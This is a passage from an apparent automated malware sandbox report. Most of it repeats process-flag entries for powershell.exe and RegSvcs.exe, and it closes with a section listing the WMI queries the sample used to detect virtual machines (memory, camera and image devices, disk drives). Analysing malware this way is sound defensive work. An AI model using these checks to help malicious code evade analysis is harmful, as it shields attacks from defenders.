Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive

